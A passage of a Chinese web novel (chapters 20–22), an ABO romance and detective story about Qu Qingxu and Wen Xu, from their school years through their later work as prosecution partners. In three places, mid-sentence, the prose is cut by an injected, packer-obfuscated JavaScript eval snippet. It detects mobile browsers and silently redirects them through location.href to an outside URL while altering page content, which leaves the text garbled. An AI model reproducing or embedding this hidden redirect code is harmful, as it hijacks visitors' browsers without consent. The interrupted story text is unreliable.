瞿清许还没说话,却听见身旁闻序吸了口气,他赶忙挽紧闻序的手臂示意他别和对方一般计较,抢着笑道:“也许吧,其实我父母对于将来我要不要和alpha结婚这事并不太——” “现在都什么时代了,还在乎生小孩麻不麻烦这种事?” 冷不丁一句夹枪带棒,瞿清许和姓江的少爷都纷纷愣住了。闻序抽出胳膊,上前一步,目光坚韧如锋。 “要是父母不当人,养多少孩子也是白搭。”闻序说着,深望了对方一眼,“更何况现在科技这么发达,这么担心生儿育女的事,自己亲自生不就好了?现在alpha怀孕生子的也不少,推荐你试试看。” 会场里的音乐声不小,可闻序的声音还是清晰传到了对方耳中。对方大约从没被驳过面子,反击的话都忘了,瞪着闻序,嘴唇蠕动了半天也没说出一个字来,脸涨成了滑稽的猪肝色。 “你,你小子……!” 闻序虽然只有十五岁,可气质已趋成熟,个头也过了一米八,小时候在街头摸爬滚打过来,体格远比泡在健身房里练着玩的富家子弟们结实得多。那少爷几次攥拳,最终又色厉内荏地放下了手。 “别让我打听到你是谁家的儿子,”对方恶狠狠地低声道,“我爸一定让你家好看,哼……” 他嘴里嘟囔着,骂骂咧咧地转身走了。闻序也不屑地哼了一声,转过身,却看见瞿清许站在原地,目瞪口呆地望着他。 “你,”瞿清许艰难咽了下口水,“你也太有种了吧……” 闻序走上前:“怕什么,这种绣花枕头我一个人能打十个。以后再有人说这种屁话,你直接怼他就好,只要有我在他们就不敢打你。你就站在这儿,躲都不用躲,看我把他们揍一顿就老实了。” 他走到瞿清许身边,抬了抬半边胳膊,后者又是一怔,闻序啧了下,好像不耐烦似的: “挽着啊,不是要去咱们规定的座位吗,快走。” 瞿清许迷迷糊糊地哦了一声,乖乖抬起手,穿过他的肘弯,挽住男孩儿骨肉紧实的臂膀。 * “今天的联邦优秀青年交流大会,是首都教育界旨在助力国家的长远发展,振兴……” 台上的讲话让人昏昏欲睡,瞿清许庆幸自己的座位在角落,不至于时刻都坐得端正笔直。甫一转头,邻座的少年却大喇喇地撑着脑袋,歪七劣八地靠在桌旁,满脸“怎么还没废话完”的生无可恋。 瞿清许想笑,生生忍住了,偷偷叫他:“哎,再坚持一会儿,讲话结束后就可以自由活动了,带你去吃好吃的。” 闻序撑着头看他,半边脸肉都推起来一点,和平时那个线条凌厉的帅气判若两人,多了十五岁的小孩儿该有的可爱。 “现在不可以离席吗?”闻序问,“这是晚会,又不是上课,谁规定非要等台上那老头子讲完才行的?” 瞿清许一下被问住:“没人规定,只是……一般都要等结束后再离开……” “什么一般二般的,来。” 闻序十分忍无可忍地吐了口浊气,仗着二人坐在角落,极其顺手地拉过瞿清许的手腕,攥在手心。后者吓得忙用眼神制止他: “闻序你干嘛?” “别啰嗦,这事儿我有经验。” 他们穿过走廊,压低身体从一扇扇窗户下蹑手蹑脚地溜出来,来到冷餐的后厨。到了门口,闻序整理了一下胸前的领结,面不改色地走进去: “服务生在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658595|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不在?会场有长官要的两份小食,怎么还没送到?” 后厨的服务生见到闻序,一时被这个人高马大的年轻人唬住,不确定起来:“是,是吗?可能是我们疏忽了,抱歉,请问是之前有人要的和牛三文治吗?” 闻序顿了顿:“——对,就是这个。来不及了,交给我吧,我顺路拿去。” 他拿过服务生的托盘转身就走,一面对藏在门后的瞿清许使了个眼色,两个人越走越快,最后干脆跑过走廊,直接来到一楼酒店门后外的一片花园里,在长凳上一屁股坐下了,二人一呼哧呼哧喘着气,好半天,闻序边喘边拿起一个三文治递给他: “喏,小心烫啊。” 瞿清许接过,闻序于是拿起自己的那份,两个人都咬了一口各自的食物,看着对方鼓起来的双颊。 下一秒,两个人都噗嗤一下险些喷饭,捂住嘴巴,笑得前仰后合。 “你、你怎么这么有种啊闻序!” 瞿清许笑得弓成了虾米。闻序也好不到哪儿去: “别逗我笑啊,弄脏了你这西装我可赔不起……靠,你看见那个服务生被我说得一愣一愣的样子了吗?……” 月色如水。两个少年挤在长椅上,呛着风,十分不体面地分享着半冷掉的三文治。闻序这辈子还没尝过这么鲜嫩多汁的牛肉,嚼得满口留香,忽然听见身边笑得揉着眼睛的少年道: “当初你问我为什么要帮你上学,你还记得吗?” 闻序唔了一声,又咬了一大口。瞿清许长长舒了口气,转头看他。 “因为看见你的时候,我感觉你活得最真实,最勇敢,阿序。” 闻序嘴巴不动了,也扭头回望向瞿清许。 “在慈善晚会上,为了获得助学金,所有人都让自己看上去笑得甜,笑得讨人喜欢,只有你不是。” 瞿清许缓缓弯了眉眼,“后来在天台那一日,明明被那些不良学生包围了,甚至可能被他们打得遍体鳞伤,你也不怕,不向他们低头服软。那个时候我在想,如果和这样的人结交,说不定也可以变得不需要看待别人的眼光,活得自在一点。” “我们这样出身的人,从小就被教导要看人脸色,为家族利益而社交,所有人都像小大人一样早熟。”他说,“我知道在学校自己之所以受欢迎,不是因为大家认可我的努力,只是因为我的父母是他们的上级,不管看我顺不顺眼,都要同我虚与委蛇。” 闻序默默看着他。瞿清许垂下眼帘: “可能我这种想法挺矫情的吧,明明衣食无忧,还总希望有父母陪伴,有挚友交心。刚刚的话,你就当我是随口说说……” “没关系,有我在。” 瞿清许嘴巴蓦地维持在一个微张的幅度,讶然地转过头,看着不知何时正襟危坐的十五岁少年。 “有我在,我就是你可以无话不说的朋友,有什么心事都可以和我讲。”闻序坐近了些,语气郑重,眼神却带着热烈的赤诚,末了又踟躇一下,“而且我说了,我可以保护你,谁敢对你出言不逊,我第一个教训他。” 瞿清许呼吸不禁放缓了。 “一辈子都做无话不说的朋友吗?”他轻声问。 月照庭寂,满院光华。多年以后,瞿清许回想起那个平凡却又深刻的夜,才发现其实那晚他们背后的酒店内那冗长的讲话早已结束,远远传来渐强的、嘈杂的喧闹声,可他们谁都没有听见。 仿佛这个世界只剩下彼此,仿佛天地间只剩下对方纯净无暇的双眼,以及自己怦然的心跳。 过了很久,或许只有一秒不到,他听见少年闻序干脆的、低沉的声音。 “当然。”少年笑了,“是一辈子,也是唯一。” 20. 第 20 章 首都的夏末像长了飞毛腿,把瞿清许刚满十八岁的接力棒交到了秋天的手上。 开学后,瞿清许很快卸任了学生会的工作。又因G大的优录通知下来了,他不必参加升学考试就已经被提前录取,一下子成了整个学校里最闲的那批人上人。 有接任的学弟学妹们忙于学业,恳请他在校园巡逻的工作上搭把手。瞿清许责无旁贷,接下了这份差。 “清许!” 茉莉花落了,丹桂的香甜味道萦绕在重山中学的操场和楼宇间。瞿清许闻声回头,看到校门外一个身影向他兴奋地招手,而后大步流星朝他跑来: “你果然在这儿。我听说你替学弟们值周,看来是真的?” 刚上高一的alpha,个头堪比雨后春笋般猛蹿。明明那次宴会后到开学也才半个多月没见,闻序就已经又长高了一寸,肩膀也眼瞅着宽了,厚实了,比起几个月前那个瘦高的样子多了几分青涩的男人味。 瞿清许忽然有些吃味,看着人走近了,抬起头来,默默用眼神比量了一下。 他怎么记得初见时,闻序和自己差不多高来着……什么时候开始居然需要仰视这个小学弟了? “消息倒灵通。” 看闻序跑得急,呼哧带喘的,额角都暴出点青筋,瞿清许笑着递给他一张纸巾,示意他擦汗。闻序接过,也不急着用,反而努了努嘴,话锋一转: “什么学弟,哪班的啊。他也是你朋友?” 瞿清许好脾气地解释:“都是学生会的,这不是要模拟考试了嘛,我现在已经录取了,又不忙,帮衬一下也没什么。” 闻序仍然捏着那张纸巾。瞿清许笑了笑,抬手想去替闻序把跑得飞起来的领带正好,少年却一抬胳膊肘,把他的手挡下。 “那他就不是你朋友。”闻序忿忿地噘嘴,“喂,我说正经的呢。你是我唯一的朋友,我也应该是你唯一的,否则不公平。” 他们顺着石板路,向教学楼走去。瞿清许忽然意识到,自己是因为值周才这么早就到了学校,闻序又是为了什么?高中课业这么重,多睡一会儿难道不香吗? 可疑问很快被吐槽的欲望压下:“那我岂不是很亏,交了一个朋友,丢了整片大海。” “你那不叫丢了大海,你那叫海王!”闻序直着嗓子拔高声线,“再说了,和他们玩儿有什么好的,你告诉我,我也都能做到。” 他一瞬间有被闻序的强盗逻辑绕了进去,又着实不想同对方辩论,只好囫囵点头敷衍道:“好好好,只和阿序玩……阿序,从前我怎么没看出,你像个小孩儿似的,这么幼稚。” 闻序的耳垂顿时染上了羞赧的红色:“谁幼稚了?!” “……我错了,我说是我幼稚。” 重山校园很大,距离教学楼还有很长一段路。瞿清许笑着乜了身旁的少年一眼,问他:“今天起个大早,还这么精神抖擞,是有什么好事?” 少年心思果然藏不住,只问了这一句,闻序铅灰色的双眼便亮了起来。 “你怎么知道!”闻序丝毫没察觉到一脸“这还用猜吗”的同伴,揉了揉后脑勺的黑发,“张律师说了,我这个假期表现很好,他鼓励我周末继续来实习,只要坚持满一学期,她就可以向老板申请,给我以勤工俭学的标准申请更多补助。” 瞿清许听了也会心一笑,闻序更兴奋地看着他,边走边比划: “其实涨工资对我来说真的不是最重要的!这个假期我学到了不少东西,尤其是跟着张律师去首都检察院,那里的检察官都好专业好气派!张律师说,最高检的检察官比这儿的还要厉害十倍……” 瞿清许唔了一声:“这份职业听上去倒是蛮好。你本来就擅长文法和推理逻辑,性格也耿直,当检察官再合适不过。” 闻序嘿嘿一笑,忽然垂眼深望着瞿清许,眉眼间逐渐蓄起脉脉的温情。 “我很感谢张律师的倾囊相授。”他喉结一滚,“但我还是最想感谢你,清许。” 瞿清许蓦地怔住。 见他停下脚步,闻序也停下来。 “如果不是你,我根本接触不到这种高档的律所,就这么一辈子浑浑噩噩下去,不知道自己的爱好,也找不到理想。” 少年的声线褪去了昔日的稚嫩,不知不觉间早已平添了成熟的味道,以及一丝压抑着某种情绪的暗哑。 “这辈子能有你这个朋友,我真的好幸运。”闻序说着,慢慢弯了眉眼,凌厉的面部线条都柔和几分,“当初我可真混蛋,早知道你这么好,就不该故意装凶想吓跑你了,和你多亲近些都来不及。” 瞿清许胸腔微微一震,条件反射地长吸了口气,颤颤巍巍开口: “我哪有你说的这么好。” 闻序不觉有哪里夸张,抬手就要去勾住瞿清许的肩把人扯到怀里: “怎么没有!清许——” 少年的手扑了个空。闻序一下子愣了,看着后退半步的人,有些手足无措,抬起的胳膊僵在半空。 “阿序,我们还是不要这样……拉拉扯扯的。” 瞿清许垂下眼帘,刘海遮住了黑色的双眸,教人看不清他的表情。 闻序喃喃地问:“什么……?” “我分化了。” 瞿清许的声音很轻,视线低垂,不知为何,他没有勇气去看闻序的眼睛。 “我分化成omega了,”他斟酌着语句,“所以我们不应该……你明白吗?” 清早的校园,安静极了。风声掠过,闻序却仿佛连自己的呼吸都听不见。 “这是要拒绝和我做朋友的意思吗,”他放下手,“是以后都要疏远我的一种暗示吗?” 瞿清许双唇一阵轻颤,猝然抬眸:“我不是——” 可对上少年比哭还难看的笑容时,他忽然什么都说不出来了。 “所以这算什么……自说自话地非要闯进我的生活,让我把你当成唯一的好朋友,现在就因为你成了omega,我们的约定就不做数了么?” “你说你想要真心,”闻序喉结隐忍地滚了滚,哑着嗓子问,“我把我的给了你,你却要我注意分寸,这是为什么?” 瞿清许狠狠怔住了。 * “学长,这段时间麻烦你了。周末部门聚餐,要不要来热闹一下?” 窗外的树叶落了,光秃秃的枝杈在碧蓝色的天际下曲折地蜿蜒向上。瞿清许收回目光,拧开水龙头,一边抬眼看着镜子里倒映出的这张面容。 镜中的青年一头蓬软的黑色短发,面色如玉,眉目温舒,柔软的唇瓣不点而红,作为omega,无疑是堪称秀美的长相。 可看到这张脸的一刹那,瞿清许却仿佛触电般迅速挪开了视线,低下头,把纤瘦的手掌递到潺潺的水流下。 “快毕业了,能为部门多做些事,我求之不得。”他说,“最近招新开始了吧,情况怎么样?” 被问话的学弟回答:“今年报名的人倒是不多……不过倒是来了些有意思的人。学长你知道吗,高一的那个借读生,居然也报名学生会了!” 瞿清许揉搓的手一下子顿住了。 “闻序?” 他没有抬头,皱眉问。那学弟点头: “对,就是那个上学期一直跟在学长你身边的那个男生。学长,最近怎么好久都没见到他和你一起走了?” 水流哗哗地冲刷过指缝,瞿清许阖了阖眼,胸口阵阵发闷。 “他面试的时候有没有说,自己报名的理由?” 他没正面回答学弟的问题,反问道。 学弟也绘声绘色地回忆起来: “说了呀,那家伙的理由就和他这个人一样怪!他说,因为不知道学生会里都是什么样的家伙,居然可以让某个人恋恋不舍,却反倒要和他划清界限,所以他要进来一探究竟……也不知道他说的某个人是谁。” 瞿清许终于忍不住咬住下唇,猛地抬手抓住水龙头一拧,截断了吵得人心烦的流水声。 他终于不得不承认,闻序是对的。一个渴望关爱和陪伴的人,习惯了麻木地投身于应付虚情假意的名利场,偏偏在遇见一份如此浓烈真挚的情感时要下意识逃避、退缩。 越是渴望真情,却在真情降临时越要推开。 可这样做除了伤了他人的心,又能验证什么? “刚刚你说部门聚餐,”他忽然侧过头,问身后等他洗完手的学弟,“闻序也来吗?” “——啊?” 学弟感到有点好笑,“他一个又穷又土的借读生,谁会同意招他进来呀?也就学长你过去能多照顾他一下罢了……再说,就算他进了学生会,这种寒酸的人也不会来咱们的聚餐吧。” 镜子里,瞿清许的面色渐渐冷淡下来。 “这样啊。” 他擦了手,转过身,面无表情地看了那男生一眼,嘴唇小幅动了动。 “周末我要和G大的教授见面,没时间,就不去了。” 冷声说完,他不再看一时呆住的学弟,与他擦肩而过,走出了卫生间。 * 十八岁的瞿清许始终不敢、也不懂得像闻序那般抱着破釜沉舟的勇气去找对方破冰。明明只要一句话,对方就会不计前嫌地原谅自己那幼稚而别扭的小心思,可他就是执拗地迈不过心里的坎。 一个是alpha,另一个是omega。可这又有什么关系? “下面,请重山中学本届优秀毕业生上台发言!” 宏大的学校礼堂将麦克风的扩音交叠传播,瞿清许看着排在自己前面的女生兴奋地红着脸走上台致辞,也跟着歪头,从帷幕的缝隙里向外偷窥。 闪光灯此起彼伏亮如星海,恍若一年前那个陌生而隆重的夜。 过了今晚,他们这些优录的高三学生,就要提前毕业了。 “各位老师,同学,大家晚上好!很荣幸能作为本届高三的优录生在此发言……” 台上发言的代表本该是瞿清许,他临阵变卦,把这个他人求而不得的露脸机会让给了这个女孩儿。其实,如果可以,他甚至连一会儿优录生集体上台合影的环节都想躲开。 礼堂人山人海,不用看,也知道底下坐满了人。无数艳羡崇拜的面孔向上仰望着台上一个个光鲜亮丽的存在,可那里面却并不存在他真正在乎的人。 本该是人生中最值得纪念的十八岁,又是多少同龄人梦寐以求的免试提前毕业的荣耀。 可瞿清许的父母没有来。昨天晚上,在国安通宵加班的父亲和出差的母亲分别发来了短信,遗憾地通知他,没法出席他的毕业典礼了。 瞿清许鼻息轻出口气,抬手抚平衣襟的褶皱。 没关系,他对自己说,其实他大概也猜到了父母没法前来。这点小事,他已经习惯了。 台上人仍在挺直胸膛慷慨陈词,瞿清许混在一排与那女孩一般兴致盎然的学生里,平静到格格不入。< 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台下人头攒动,人人都想着看清上面这些优秀的学长学姐的长相。有组织秩序的老师在前面招手示意大家站得紧凑些,瞿清许被推到正中央的位置,看着远处架好的照相机,想牵起嘴角,却发现自己的脸颊不听使唤地冻住了。 不在意的,他安慰自己,花开了也会落,自己本来也不想要—— …… 真的不想要吗? 他悲哀地看着黑压压的台下。等待的家长们得了首肯,终于笑脸盈盈地捧着花走上台来,纷纷去寻找自己的孩子,唯独瞿清许孤零零伫立在原地,仿佛一个示意所有人看过来的靶子,碍眼得可笑。 真的不在乎吗? 瞿清许突兀地联想起他曾经莫名其妙疏远的那一颗真心。 难道他真的,不明白自己为什么会推开对方吗? 其乐融融的海洋里,瞿清许慢慢阖上眼睛。 “——瞿清许!” 少年浑身一震,睁开双眼。 一束热烈的、盛放的紫色玫瑰花扑面而来,娇嫩饱满的花瓣抖落簇簇的芬芳,颤悠悠地送到他眼皮底下。瞿清许吓了一跳,下意识将花束接过,惊讶地抬起眼帘。 一个高大挺拔的身影伫立在他面前,已然褪去少年稚嫩的宽阔肩膀将无数刺眼的灯光挡在身后,一双铅灰色的眸子含着款款的笑,无奈却坚定地望着他。 “这回躲不掉了。”闻序笑笑,“瞿清许,毕业快乐。” 瞿清许抱着花束的手臂猝然一紧,瞳孔都放大了。 他张了张嘴,好半天才发出几个艰涩的、不成调的音节: “你怎么……会在……” “我一猜就知道你父母没时间来你的毕业典礼。”趁着台上家长学生一团乱糟糟的,闻序一边拨弄了几下花,一边低声道,“我看他们都给学生送花,所以就想着……附近的花店只有这多头玫瑰打折,不过总比没有要强,是吧?” 瞿清许愣愣地看着闻序,抱着花束的手却开始不自觉地颤抖。闻序全然未觉,理直气壮地站到每个毕业学生身侧家长的位置,侧过头,目不转睛地看着瞿清许随着他转过来的脸。 打光灯映照下,闻序忽然发现,好久未这般近地观察,眼前的少年果真越来越像omega的模样了。唇红齿白、黑发雪肤,漂亮得像画里走出来的清秀佳人。 闻序强压下上翘的嘴角,挑挑眉,意味深长地望着他。 “毕业了,这是打算以后和我一刀两断咯?” 他问。瞿清许一下回过神来,慌忙摇头:“我不是……” 闻序看着他这幅模样,噗嗤一下乐了。 “逗你玩。”他笑道,“当初我说过的吧?别轻易来招惹我。我这人就是块狗皮膏药,无论你在哪儿,我都会找到你,紧紧跟着你不放的。” 瞿清许彻底怔住了。 “请各位同学和家长朋友站好,来来来……” 不断有人催促,闻序没再多说什么,对他挤了挤眼睛,转过头去面向前方。瞿清许仍然抱着那束玫瑰花,呆呆地看着少年的侧脸,久久不能抽神。 突然间他注意到,好久没这样并肩而行,原来在他看不见的时候,闻序已经长得这么高了。少年总在无声处肆意成长,蜕变快到接纳都来不及,心却在一切尚未水落石出前萌芽。 “看镜头!三——” 瞿清许迟迟没有回正过头,眼底眸光闪烁。怀里紫色的玫瑰花娇艳欲滴,散发着清甜的味道,香气扑鼻。 和送出它的人一样,不名贵,却香得浓郁、美得昂扬、开得不败。 “二——” 他阖了阖眼,终于恋恋不舍地回过头,绽开一个温柔却明媚的笑容。 “对不起,”瞿清许嘴唇蠕动了一下,用只有他们二人才能听到的音量说,“我再也不会犯傻了。以后,我们要做一生一世的……” “一!” 咔嚓一声,闪光灯明灭一瞬,台下潮水般的掌声、欢呼声蜂拥而起,淹没了瞿清许最后的几个微弱的音节。 然而这一刻,瞿清许忽然释然了。 或许他从一开始就深知自己终将面对,却因为患得患失,踟蹰不前。他想要的不离不弃,相伴同心,不只是一句朋友就能做得到。 他喜欢上闻序了。 鲜花与欢呼的祝贺簇拥下,他们转头对望,心照不宣地相视一笑。 “好,”他听见闻序笑着回答,“说好了,一辈子。” 一辈子还有很长,可瞿清许那一瞬间清楚地知道,属于自己十八岁的春天降临了。 21. 第 21 章 时光回到九年后,以方鉴云的人生行走于世的瞿清许的现在。 闻序离开后,瞿清许几乎一夜无眠。来到检察院办公室一上午,闻序都没有现身,瞿清许忙着写报告和整理谭峥的材料,几个小时没有离开办公椅,等隔壁屋的小文员送来午饭后,才发觉身体早就腰酸背痛,显然已到了极限。 从小文员那得知闻序去了趟警署,瞿清许心里有数,没再多问,草草扒了两口饭,干脆省了午休继续工作。 或许是休息不足加上身体本就孱弱,没一会儿瞿清许整个人便有些犯了低血糖似的头晕恶心,不得不停下手头的活儿,捞过水杯一看,里面早就空了。 他一手撑着桌子,一手拿着水杯,就要起身。 “别动了,省得腰疼。我壶里还有茶水。” 一只骨骼分明的大手将水壶放在桌边。瞿清许抬头,看见是闻序的脸,这才坐回去,挑了挑眉:“多谢。” 闻序臂弯里还挂着那件灰色的长风衣,身上带着户外簌簌的秋凉寒气,衬得青年眉目更加浓郁肃正。他放下公文包,刚要说话,瞿清许把水杯轻轻往前一推,推到闻序面前。 “干嘛?”闻序不解。 “倒茶呀,”瞿清许扶了扶簪子,歪靠回椅子里,“忘了说,我肩膀也不太好,不能提重物。” 说完青年眨眨眼睛,幽然一笑:“谢谢搭档。” 闻序被对方的少爷做派噎得不轻,内心念着“就当照顾老弱病残”,把杯子拿过来。倒完热茶,他把水杯哗地一推回去,看着瞿清许拿过杯子,猫儿似的,优哉游哉地窝在座位上。 他心里某个柔软的地方忽然一动,那种熟悉的、心悸般的感觉又回来了,这次他不得不强制自己忽视它,对着瞿清许桌上的一摞文件扬了扬下巴: “你整理的?” 瞿清许嗯哼一声,细白的十指拢着保温杯,把多余的发丝掖到耳后,呷了口茶。 闻序又把目光投过去。那摞文件垒得整整齐齐,边上密密麻麻贴着各色的索引贴,他随手拿过一本翻开,里面的文字全做了工整的批注,细密却一目了然,连谭峥档案中许多细节都贴了便利贴,额外整理出来,可见书写者的细心。 他不禁抬眸,看了恹恹地缩在软椅里喝茶的青年一眼,眸光深沉了些许。 “功课做得很足,”他把文件放回去,道,“论分析能力,你倒不比信息处那些专家差。” 瞿清许放下杯子,纤长的睫羽被热气蒸腾得潮湿,抬眼望向闻序时,连那一向深黑的双眸都多了些秋雨般冷漉的湿气。 “之前不还说我是买来的文凭么。”他没什么温情地一笑。 闻序的脸一下子僵住了。 他没想到自己当初随口的一句话,竟让对方真听进了心里去,还偏在这时候拿出来揶揄他。 “谁让你当时连三项报告都……算了,我一时失言,抱歉。” 闻序在自己的工位坐下来,修长的双腿交叠,看了看瞿清许的脸色,皱眉:“你没休息好?” 瞿清许再次优雅地捧起保温杯,吹了吹气:“昨天睡太晚而已,不碍事。闻检查身体倒是不错,一点儿也看不出昨天头疼病发作昏倒在路边。” “……” 这人今天怎么夹枪带棒的? 闻序被调侃了两回,有点来了劲儿,低笑一声,从公文包里也拿出一份文件:“过奖了,搭档。既然你没什么大碍,那咱们就说点正事。认得这个么?” 瞿清许看了一眼闻序翻开的文件夹,凑在杯口的双唇登时抿紧了,指尖用力到泛起青白。 半晌,他复又低下单薄的眼皮,啜饮了一口。 “前几天医院枪击案的弹道分析结果。”瞿清许润了润喉咙,“这么说,你有头绪了?” 闻序合上文件夹,看着他的眼神渐渐犀利。 “开枪的时候,你不在现场。当时你在做什么?” 瞿清许把水杯放到桌上,拢了拢披在肩头的外套,一掀眼皮。 青年黑黝黝的双眸里闪着讥诮的光:“医院返给我们和警署的监控显示,当时二号出口附近有嫌疑人,闻检查放着他不查,还询问起自己搭档的不在场证明。你就这么想过一把警察瘾?” 闻序也冷静地一勾唇:“我正想说那男人的事。开枪时,他就在二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658597|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号口附近,和弹道分析的结果完全不符。” “也许他有同伙。”瞿清许道。 “有道理,”闻序说,“不过当时监控也拍到,那男人和我一样,也试图阻拦过任晓萱带小雅离开,只不过半路出现一个人,可惜监控没拍到正脸,不然会是新的突破口。” 瞿清许盯着他,瓷白的脸线条紧绷,眼底慢慢凝聚起冷色。 “他想阻拦任晓萱,不代表他就会允许你拦车,”瞿清许略微正坐,双手十指交叠,“谭峥背后有人在保他,他们不便在警察面前露面,但也决不允许最高检介入太深。” 闻序深望着他,似笑非笑。 “看来我也有必要提醒你,你现在说的一切,也都只是你个人的猜测,不仅无法作为警方侦查的依据,甚至不够作为检察院的。”他说,“反倒是自始至终,都是你一个人执意引导警方的注意力到那个男人身上,这又是出于什么目的?” 瞿清许敛去笑容,沉声问:“那你呢闻序,枪击那晚你变着法子试探我,现在又对我步步紧逼,你又是什么目的?” 他们隔着一条狭窄的过道,如对峙般凝望。瞿清许眯起眼睛。 “我们为什么总是这样,”他叹息般低声喃喃,“永远搞得一言不合就剑拔弩张的,你不累我都累了,闻序。” 说完他站起身,闻序盯住他,随着他的动作也慢慢抬起头。 “谢谢你的茶。我要去找处长提交报告了,有事一会儿再说。” 瞿清许绕过桌子就要走开,闻序忽然眸光一动,眼疾手快地一抬胳膊,啪地攥住瞿清许的手腕! “——闻序!” 温热的掌心攥住瘦得不堪一握的腕骨,内侧微凉的肌肤下还隐约鼓动着陡然加快的脉搏。瞿清许骤然慌了,垂眼便丢来一个制止的眼神: “你这是干什么?” “先别走,我话还没问完。” 青年的语气俨然一副审讯犯人的严厉口吻,瞿清许顿时有点火大,刚要抽手,却见坐着的青年转过脸,铅灰色的双眸目光如炬,张了张唇。 他听见闻序问:“你和那个楚江澈,是什么关系?” 22. 第 22 章 瞿清许狠狠怔住了。 “你认识楚江澈?” 闻序看了他一会儿,这才慢慢松开手,望着瞿清许揉着那只已经泛红的腕子,嘲讽地一笑。 “怎么,”他反问,“不愿意我认识他?” 瞿清许没立时作声,活动了一下被闻序攥得发酸的腕骨,脑内却飞速将这些天来他与楚江澈每一次接触的情景都过了一遍。 错不了,一定是那几次楚家派车来接他,被闻序发现了。 心里有了底,他这才面色不改,低下头:“闻序,咱们俩在这拌嘴没有意义。楚江澈确实是我朋友,不过这是我的私事,和案子也没有关系。” 闻序冷笑:“没有关系吗?谭峥取保候审前,是你亲口从他那儿问出他和楚家过去的关系的,包括六年前五·三一暴动案,和楚家也脱不了干系,现在你作为谭峥质控案的直接负责人之一,和楚家有私交,我怎么就不能过问?” 瞿清许不咸不淡地哦了一声,微微颔首。 “行啊,那你想问什么?” “我——” 闻序喉咙一哽,没了声音。 他一时头脑发热,把楚江澈的事儿当成什么重磅炸弹抛了出来,却没曾想自己毫无思路,连要诘问些什么都没考虑过。 亦或者,真正想问的话,他其实问不出口——他最想问,你和那楚江澈,只是普通朋友,还是什么不可言说的特殊关系? 欲言又止的这一刹那,他便知道自己的谈判已经落了下风。瞿清许自然也看出他的窘迫,嘴角一挑,拿过桌上的报告: “没事的话,这回我真的走了。” 那态度很显然:你说的互不干扰,我的事,你没资格置喙。 闻序咬了咬牙,倒不是对方这胜利者一般昂首的姿态挑衅了他,他只是对自己刚刚下意识的退缩感到格外窝囊。见青年走到门口,闻序也站起身: “谭峥取保候审之后,我和警署联系过,他们那边上午刚刚反馈,说谭峥计划要和武装部的陈泳见面。” 瞿清许停下脚步,侧过身,示意他在听。 “我打算跟踪他们。”闻序说。 瞿清许的瞳孔一下子放大:“检察院规定——” “我知道,”闻序打断他,“我也知道就算我录了音,拍了照,这些按联邦的法律都不能算做有效证据,但我为的不是这个。那天在看守所,你和谭峥的对话我越想越觉得不对劲,他和陈泳之间的关系非同一般,我去就是为了确认一些事情。” 瞿清许眯起眼睛若有所思,半晌有些退让似的道: “这么做到底还是有点擦线,我和你一起去。” “不行。” 闻序果断说。瞿清许有点儿哭笑不得:“你发什么神经?告诉我,又不准我跟你一起行动,你到底有没有把我这个搭档放在眼里?” “你在我这儿的疑点不比谭峥少,我能告诉你行动计划已经够尊重你了。”闻序斩钉截铁道,“再说,这种出格的事我一个人就够了,处长早都习惯我这种调查风格,你跟着我万一出了岔子也只会挨批。” 瞿清许愣了,闻序也没打算再多解释,趁这功夫也一侧身,从他身旁穿过,离开了办公室。 偌大的屋里霎时安静下来,只剩下钟表走针的声音。瞿清许望着消失在拐角的高大背影,嘴唇蠕动了一下,叹了口气,不由自主弯了弯眉。 “离经叛道,从小时候就是这样。” 青年自言自语。 * 交了报告出来,手机十分适时地响起。瞿清许见上面显示陌生来电,想了想还是接起来: “您好,请问是哪位?” 电话那头有人呵呵一笑,语气难耐激动: “哟,小云,是我啊,我是你闻伯父!” 瞿清许猝然停在窗边,阳光下青年的脸色一瞬间变得煞白,眸光微震。 “你——”他勉强换了口气,艰难咬字,“伯父你是怎么拿到我的电话号码的?” 手机听筒里,闻父毫无觉察似的,大笑两声: “小云呐,以后咱们就要成一家人了,联系方式什么的不都是必须的吗?闻序那个不省心的孩子,一心扑在工作上,我们也找不到他,只能和你联络联络,你看……” 瞿清许抬手搭在窗台上,只感觉一阵无力的头晕目眩,上午那种深切的疲惫感又回来了。 “您找我有什么事。”他按捺住音量问。 “嗐,也没什么大事,”电话里闻父打哈哈道,“这不是我和你伯母最近在陇南那边的生意快要结款了嘛,也不知道怎么了,卡里的存款被银行冻结了,早不冻晚不冻,偏生到这节骨眼!我和你伯母也不懂银行的那些弯弯绕,想问问你知不知道这是什么情况?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13658598|144024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 瞿清许嘴角抽动一下,无声地勾起冷笑。 这是打定主意自己是个脸皮薄的,变相要钱呢。 